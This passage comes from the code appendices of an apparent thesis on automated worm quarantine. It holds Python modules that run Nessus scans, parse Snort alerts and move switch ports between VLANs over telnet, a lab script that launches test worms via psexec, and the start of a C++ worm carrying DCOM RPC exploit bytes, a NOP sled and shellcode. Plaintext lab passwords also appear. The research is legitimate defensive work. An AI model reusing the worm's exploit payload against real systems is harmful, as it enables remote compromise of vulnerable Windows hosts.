lastReport = reportinfo[1] 
logreport(report, lastReport) 
nessusresults = parsereport(report) 
if(nessusresults != None): 
logout(nessuscon) 
logprint("Nessus: Scan complete") 
return nessusresults 
else: 
return -1 
except: 
stopscans() 
deletereports() 
logout(nessuscon) 
 
 
class Timer(threading.Thread): 
def __init__(self, mins): 
self.running = False 
self.runTime = mins 
self.runtime = True 
threading.Thread.__init__(self) 
def run(self): 
self.running = True 
for i in range(0,self.runTime): 
if(not self.runtime): 
logprint("Nessus: Timer broken") 
break 
logprint("Nessus: Minutes to next scan: %d" % 
(self.runTime-i)) 
time.sleep(60) 
self.running = False 
def stop(self): 
self.runtime = False 
 
 
 
class NessusScanner(threading.Thread): 
def __init__(self): 
self.running = False 
self.quarantinequeue = queue.Queue() 
threading.Thread.__init__(self) 
self.runscans = True 
 
def stop(self): 
self.runscans = False 
logprint("Nessus: Recieved stop signal") 
stopscans() 
deletereports() 
logprint("Nessus: Scans stopped and reports deleted") 
 
def run(self): 
quarantinequeue = self.quarantinequeue 
logprint("Nessus: Nessus Scanner running...") 
t = Timer(10) 
while self.runscans: 
#Wait for timer to finish before starting a new scan 
if(not t.running): 
t = Timer(10) 
t.daemon = True 
t.start() 
nessusresults = startscan() 
if(nessusresults != -1): 
try: 
for host in nessusresults[2].keys(): 
logprint("Nessus: Queueing %s" % host) 
quarantinequeue.put(host)      
except: 
logprint("Nessus: No results") 
pass 
#If a timer is running wait 10 seconds then try again 
else: 
time.sleep(10) 
logprint("Nessus: Nessus Scanner Stopping") 
t.stop() 
 
 
def main(): 
quar = queue.Queue() 
scan = NessusScanner() 
scan.daemon = True 
scan.start() 
print("Here") 
scan.stop() 
print("here") 
 
 
if __name__ == '__main__': 
main() 
17. Appendix C – netcontrol.py 
import os 
import telnetlib 
import time 
import threading 
import queue 
from subprocess import Popen, PIPE 
from time import strftime 
 
DEBUG = False 
INFECTED = 1 
VULNERABLE = 0 
 
username = "pyle" 
password = "tuftus" 
host = "192.168.1.145" 
 
def logprint(log): 
print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 
 
def login(telnet, username, password): 
if(DEBUG): logprint("LOGGING IN") 
read = telnet.read_until(b"Username: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(username.encode('ascii') + b"\r") 
read = telnet.read_until(b"Password: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(password.encode('ascii') + b"\r") 
read = telnet.read_some() 
if(DEBUG): logprint(read.decode()) 
 
def enable(telnet, password): 
if(DEBUG): logprint("ENABLE SECRET") 
telnet.write(b"enable\r") 
read = telnet.read_until(b"Password: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(password.encode('ascii') + b"\r") 
read = telnet.read_some() 
if(DEBUG): logprint(read.decode()) 
 
def findmac(telnet, macaddress): 
if(DEBUG): logprint("FINDING MAC") 
if(DEBUG): logprint(macaddress) 
telnet.write(b"show mac-address-table address " + 
macaddress.encode('ascii') + b"\r") 
mactable = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(mactable.decode()) 
if(DEBUG): logprint(macaddress) 
found = mactable.decode().find(macaddress) 
found = mactable.decode().find(macaddress, found+14) 
if(found == -1): 
return -1 
port = mactable[found+30:found+36].decode() 
if(DEBUG): logprint(port) 
return port 
 
def quarantine(ip, source): 
mac = iptomac(ip) 
if(mac == -1): 
if(DEBUG): logprint("Can't resolve IP to MAC") 
return -1 
vlan = "1" 
# Source = 0: Nessus (Vulnerable) 
# Source = 1: Snort (Infected) 
 
if(source == INFECTED): 
vlan = "100" 
 
if(DEBUG): logprint("QUARANTINING %s" % mac) 
#Create telnet connection 
try: 
telnet = telnetlib.Telnet(host) 
except: 
logprint("Couldn't establish telnet to switch") 
return -1 
login(telnet, username, password) 
enable(telnet, password) 
 
#Find port 
port = findmac(telnet, mac) 
 
if(port == -1): 
logprint("Netcontrol: MAC Address not connected") 
telnet.close() 
return -1 
if(DEBUG): logprint(port) 
 
if(source == VULNERABLE): 
vlan = port[4:] 
vlan = int(vlan) + 1 
 
 
#Move port to vlan 
if(DEBUG): logprint("MOVING TO VLAN %s" % vlan) 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface " + port.encode('ascii') + b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"switchport access vlan " + str(vlan).encode('ascii') 
+ b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 
 
#Close connection 
telnet.close() 
 
def unquarantine(mac): 
if(DEBUG): logprint("UNQUARANTINING %s" % mac) 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
 
#Find port 
port = findmac(telnet, mac) 
if(port == -1): 
logprint("MAC Address not connected") 
telnet.close() 
return -1 
if(DEBUG): logprint(port) 
 
#Move port to vlan 1 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface " + port.encode('ascii') + b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"switchport access vlan 1\r") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 
 
#Close connection 
telnet.close() 
 
def restoreAll(): 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
 
logprint("Netcontrol: Restoring all ports to vlan 1") 
 
for i in range(1, 25): 
#Move all ports to vlan 1 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface fa0/" + str(i).encode('ascii') + 
b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"switchport access vlan 1\r") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 
 
logprint("Netcontrol: Restore complete") 
 
#Close connection 
telnet.close() 
 
 
 
def listinfected(): 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
telnet.write(b"terminal length 0\r") 
read = telnet.read_until(b"wardrobe#")  
telnet.write(b"show vlan brief\r") 
read = telnet.read_until(b"wardrobe#") 
logprint(read.decode()) 
telnet.close() 
return 
 
def iptomac(ip): 
for i in range(0,5): 
Popen("ping -n 1 %s" % ip, shell=True, stdin=PIPE, 
stdout=PIPE) 
p = Popen("arp -a", shell=True, stdin=PIPE, stdout=PIPE) 
 
for line in p.stdout.readlines()[2:]: 
if(DEBUG): logprint(line) 
line = line.decode() 
if(line.find(ip) != -1): 
if(DEBUG): logprint("Found: %s" % line) 
mac = line.split()[1].split('-') 
return "%s%s.%s%s.%s%s" % (mac[0], mac[1], mac[2], 
mac[3], mac[4], mac[5])   
if(DEBUG): logprint("MAC Address not found") 
return -1 
 
 
class Monitor(threading.Thread): 
def __init__(self, infect, vuln): 
self.infect = infect 
self.vuln = vuln 
self.runmon = True 
threading.Thread.__init__(self) 
 
def stop(self): 
self.runmon = False 
 
def run(self): 
infect = self.infect 
vuln = self.vuln 
logprint("Netcontrol running...") 
while self.runmon: 
try: 
infected = infect.get(False) 
logprint("Netcontrol: Unqueued %s" % infected) 
if(quarantine(infected, INFECTED) != -1): 
logprint("Netcontrol: %s blocked" % infected) 
else: 
logprint("Netcontrol: %s failed to block" % infected) 
logprint("Netcontrol: Infected: %s" % infected) 
except queue.Empty: 
pass 
 
 
try: 
vulnerable = vuln.get(False) 
logprint("Netcontrol: Unqueued %s" % vulnerable) 
if(quarantine(vulnerable, VULNERABLE) != -1): 
logprint("Netcontrol: %s quarantined" % vulnerable) 
else: 
logprint("Netcontrol: %s failed to quarantine" % 
vulnerable) 
 
logprint("Netcontrol: Vulnerable: %s" % vulnerable) 
except queue.Empty: 
pass 
logprint("Netcontrol: Netcontrol stopped") 
 
def main(): 
restoreAll() 
#quarantine('192.168.1.8', INFECTED) 
#quarantine('192.168.1.22', INFECTED) 
#listinfected() 
 
''' 
logprint("Quarantining") 
if(quarantine('192.168.1.14', VULNERABLE) == -1): 
return 
 
logprint("Un-Quarantining") 
if(unquarantine('001b.242b.f377') == -1): 
return 
''' 
 
if __name__ == '__main__': 
main() 
 
18. Appendix D – snortmonitor.py 
import sys 
import os 
from socket import * 
import threading 
import queue 
import time 
from time import strftime 
 
FULLDEBUG = False 
DEBUG = False 
 
def logprint(log): 
print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 
 
class Server(threading.Thread): 
def __init__(self): 
port = 514 
host = "192.168.1.141" 
addr = (host,port) 
self.runsnort = True 
 
self.infected = queue.Queue() 
self.syslog = socket(AF_INET, SOCK_DGRAM) 
self.syslog.setblocking(1) 
 
self.syslog.bind(addr) 
threading.Thread.__init__(self) 
 
def stop(self): 
self.runsnort = False 
self.syslog.close() 
 
 
def run(self): 
infected = self.infected 
logprint("Snortmonitor running...") 
while self.runsnort: 
try: 
data, addr = self.syslog.recvfrom(1024) 
except: 
sys.exit() 
if(FULLDEBUG): logprint(data.decode()) 
if(FULLDEBUG): logprint(data2.decode()) 
if(data.decode().find("Priority: 3") != -1): 
try: 
data2, addr2 = self.syslog.recvfrom(1024) 
except: 
sys.exit() 
alert = self.parsealert(data) 
alert2 = self.parsealert(data2) 
if(alert == -1 or alert2 == -1): 
continue 
if(alert == None): 
continue 
if(alert[0] == '9601'): 
logprint("Snort: Queueing %s" % alert[1]) 
infected.put(alert[1]) 
if(alert2[0] == '1444'): 
if(alert2[1] == alert[2]): 
logprint("Snort: Queueing %s" % alert[2]) 
infected.put(alert[2]) 
 
def parsealert(self, alert): 
parsed = alert.decode().split() 
try: 
parsed.remove("<13>root:") 
except: 
pass 
try: 
snortid = parsed[1][1:-1].split(':')[1] 
ipsrc = parsed[-3].split(':')[0] 
ipdst = parsed[-1].split(':')[0] 
if(DEBUG): logprint("Snort Alert %s: Src: %s 
Dest: %s" % (snortid, ipsrc, ipdst)) 
return (snortid, ipsrc, ipdst) 
except: 
return -1 
 
def main(): 
serv = Server() 
serv.daemon = True 
serv.start() 
time.sleep(20) 
serv.stop() 
 
 
if __name__ == '__main__': 
main() 
 
19. Appendix E – testing.py 
import os, sys, time, shutil 
import commandcenter, netcontrol 
 
#Syslog log files 
syslogremote = "X:\\SyslogCatchAll.txt" 
syslogbase = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Syslog Logs" 
 
#Quarantine System log files 
quarantinelog = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Final Code\\commandlog.txt" 
quarantinebase = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Quarantine Log" 
 
#start worms 
worms = [] 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\ntl\\dcom.exe", "Worm Non-Threaded Linear")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\ntr\\dcom.exe", "Worm Non-Threaded Random")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\tl\\dcom.exe", "Worm Threaded Linear")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\tr\\dcom.exe", "Worm Threaded Random")) 
 
protection = [] 
protection.append((True, True, "Full System")) 
protection.append((True, False, "Snort Only")) 
protection.append((False, True, "Nessus Only")) 
protection.append((False, False, "No Protection")) 
 
 
 
 
for system in protection: 
 
worm = worms[int(sys.argv[1])-1] 
 
#Restore all ports to vlan 1 
netcontrol.restoreAll()  
#time.sleep(30) 
#Initial VM Reset 
os.system("start resetallvms.bat") #reset vms 
#wait for vms to reset 
time.sleep(300) 
try: 
os.remove(syslogremote) 
except: 
pass 
try: 
os.remove(quarantinelog) 
except: 
pass 
 
#Start command center 
thread = commandcenter.Commander(system[0], system[1]) 
thread.daemon = True 
thread.start() 
 
syslogfull = syslogbase + "\\" + system[2] + "\\" + worm[1] + "-" + 
time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt" 
quarantinefull = quarantinebase + "\\" + system[2] + "\\" + worm[1] 
+ "-" + time.strftime("%m-%d-%Y-%H-%M-%S") + ".txt" 
 
 
#Start worm  
print("\n\nStarting test: %s with %s\n\n" % (worm[1], system[2])) 
os.system(worm[0]) 
time.sleep(30*60) 
 
#Copy log files 
try: 
shutil.copyfile(syslogremote, syslogfull) 
except: 
print("Could not copy syslog log") 
pass 
if(system[0] or system[1]): 
try: 
shutil.copyfile(quarantinelog, quarantinefull) 
except: 
print("Could not copy quarantine log") 
pass 
 
#Reset virtual network 
netcontrol.restoreAll() #restore all ports to vlan 1 
os.system("start resetallvms.bat") #reset vms 
time.sleep(120) 
 
#Reset all logs 
try: 
os.remove(syslogremote) 
except: 
pass 
try: 
os.remove(quarantinelog) 
except: 
pass 
 
 
20. Appendix F – resetallvms.bat 
start C:\PsExec.exe \\192.168.1.82 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.84 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.86 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.88 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.90 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvmse.bat 
start C:\PsExec.exe \\192.168.1.92 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.94 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.96 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.99 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.70 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
start C:\PsExec.exe \\192.168.1.72 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvmse.bat 
start C:\PsExec.exe \\192.168.1.74 -U administrator -P tuftus -I 
1 -E -F -C \\192.168.1.141\share\resetvms.bat 
exit 
21. Appendix G – Worm Non-Threaded Random.cpp 
#include <stdio.h> 
#include <stdlib.h> 
#include <winsock2.h> 
#include <string.h> 
#include <time.h> 
 
char* getLocalIP(); 
void Exploit(SOCKET&); 
void SetupExploit(); 
void Install(char *); 
void Report(); 
void ReportExploit(char *); 
void unBind(); 
bool Installed(); 
unsigned long chooseTarget(); 
DWORD WINAPI tftpServer(LPVOID); 
DWORD WINAPI wait(LPVOID); 
void debugLog(int); 
 
char* persistent = "C:\\Windows\\system32\\worm.exe"; 
bool tftpRunning = false, xferComplete = false, xferTimeOut = false;  
bool debug = true; 
int len; 
char buf2[0x1000]; 
char* filename; 
char logMessage[1000]; 
bool targeted[254]; 
 
char bindstr[]= 
"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00" 
"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00" 
"\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x0
0\x00\x00\x00" 
"\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00" 
"\x2B\x10\x48\x60\x02\x00\x00"; 
 
unsigned char part1[]= 
"\x05\x00\x00\x03\x10\x00\x00\x00\xE8\x03\x00\x00\xE5\x00\x00\x00" 
"\xD0\x03\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00" 
"\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45\x64\x49\xB0\x70\xDD\xAE" 
"\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00\x00\x00\x00\x00\x00\x00" 
"\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E\x0D\x00\x00\x00\x00\x00" 
"\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D\xCE\x11\xA6\x6A\x00\x20" 
"\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41\x52\x42\x01\x00\x00\x00" 
"\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\xA8\xF4\x0B\x00" 
"\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00" 
"\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
"\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
"\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00\x00\x00\x4D\x45\x4F\x57" 
"\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" 
"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29\xCD\x00\x00\x00\x00\x00" 
"\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
"\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00" 
"\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x78\x00\x00\x00" 
"\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
"\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF\xFF\xFF\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
"\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0C\x00" 
"\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xD8\x98\x93" 
"\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00\x00\x00\x32\x00\x31\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00\x00\x00\x0D\xF0\xAD\xBA" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00" 
"\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01\x00\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03\x00\x00\x00\x00\x00\x00" 
"\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00" 
"\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E\xE9\x4A\x99\x99\xF1\x8A" 
"\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00\x00\x00\x78\x00\x6E\x00" 
"\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00" 
"\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00\x00\x00\x30\x00\x2E\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00\x00\x00\x0E\x00\xFF\xFF" 
"\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
 
unsigned char part2[]= 
"\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00"; 
 
 
unsigned char sc[]= 
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
"\x46\x00\x58\x00\xff\xff\xff\xff\xcc\xe0\xfd\x7f\xcc\xe0\xfd\x7f"; 
 
 
unsigned char nops[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 
 
 
unsigned char sc2[]= 
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" 
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" 
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" 
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" 
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" 
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" 
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" 
"\x83\xc0\x7b\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff" 
"\xe7"; 
 
unsigned char part3[]= 
"\x00\x90\x00\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33" 
